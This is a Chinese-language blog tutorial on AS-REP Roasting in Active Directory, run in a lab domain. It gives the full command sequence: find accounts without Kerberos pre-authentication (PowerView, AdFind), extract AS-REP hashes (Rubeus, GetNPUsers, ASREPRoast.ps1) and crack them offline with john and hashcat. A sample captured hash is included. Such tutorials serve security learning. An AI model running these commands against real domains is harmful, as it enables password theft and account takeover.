Roasting攻击
原理
概述
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置所导致的,管理员在域控上勾选了【不要求Kerberos】预身份验证。该攻击发生在AS-REP数据包,。
默认是没有勾选的
原理
AS-REP(AS-Response):当KDC收到AS-REQ之后解密PA-DATA pA-ENC-TIMESTAMP,如果成功就返回AS- REP
- 第一个enc-part:TGT中由KRBTGT哈希值加密部分
- 第二个enc-part:TGT中由用户哈希值加密部分
有无Kerberos预身份验证的区别
没有Kerberos预身份验证
kekeo工具
tgt::ask /user:用户名 /domain:域名 /password:密码
AS-REQ
AS-REP
有Kerberos预身份验证
使用ASREPRoast.ps1脚本
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
注意:如果导入失败,则需要管理员权限执行该命令:set-ExecutionPolicy RemoteSigned
AS-REQ
AS-REP
如果勾选了【不要求Kerberos预身份验证】,只要我们提供用户名,就会返回该用户的TGT
获取不要求预身份验证的用户
想要破解用户的密码,首先要知道哪些用户勾选了【不要求Kerberos预身份验证】
在域控机器上
可以直接执行以下命令
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
在域内机器上(已加入域环境)
可以执行PowerView.ps1脚本
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired –Verbose
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
在域内工作组的机器(没有加入域环境)
前提条件得知道一个域内账户及密码
adind.exe -h IP地址:389 -u 域名(没有.com)\用户名 -up 密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
AdFind.exe -h 192.168.110.10:389 -u xbxaq\zhangsan -up a1b2c3.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
获取AS-REQ的enc-part值
域内主机
如果想要知道用户的enc-part值可以使用相关工具,通过LDAP协议进行查询用户,然后再列出相关的enc-part值
Rubeus.exe
Rubesu.exe是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中。
Rebeus提供了大量的用于Kerberos攻击的功能,比如 TGT请求/ST请求/AS-REP Roasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。
Rubeus.exe asreproast /format:john /outfile:1.txt
注意:Rubesu工具需要 .NET Framework 3.5支持,否则会运行不了。
这里环境为Windows server 2016,离线安装
安装成功之后再次执行(如果不行,重新计算机)
Rubeus.exe asreproast /format:john /outfile:1.txt
ASREPRoast.ps1脚本
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
非域内主机
非域内主机想要enc-part值两种方法:
- 用户字典一 一 枚举
- GetNPUsers.exe
通过前面的操作,我们知道了哪些用户勾选了【不要求预身份验证】,可以使用GetNPUsers.exe工具,列出具体用户的enc-part值。
GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass
提示:可以在目录后面加一个 > hash.txt 便于提取值
GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass > hash.txt
zhong用户的enc-part值为
$krb5asrep$23$zhong@XBXAQ:71bd6c09df1d882dbe339a52ba55c5dc$23a142f0912af9e4eae75499120ec7e9027f9f87d294dcd64098f9ad397a100ecee3d1629a4ce1a4d575ecd3d137606057b294834c7a6a6b31f921cf507283171f0c46b053d5a358bf86a9ff9b45d1438e7c442ea17938e1055f56d5d637678cc55db24b07cc87c042d7c32749066693d2f4bc5751e6e4f18e64e4635b318c32c046cd1440a5493b5045008cc303110eccb5d7a07a121eaa1ba7dfe6a7bd44310a7973b5db08307aa924b813922a76a0a2c3f3a2b08b6362a88ddf4ed6c7dc5af4896252cba3c1fee7feef4a9b0607fecf728536aa1d0f14068ed60093564952dfa7
破解part值
john
john.exe --wordlist=密码字典 hash.txt
hash.txt中的值为GetNPUsers工具所破解出来的
提示:建议不要将字典文档和hash值文档放在run目录下
hashcat
命令手册: https://hashcat.net/wiki/doku.php?id=example_hashes
注意:个别工具抓取的part值与18200的命令格式有所不同,需要手动修改
官方格式
GetNPUsers工具抓取的part值格式
ASREPRoast.ps1脚本抓取的part值格式
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论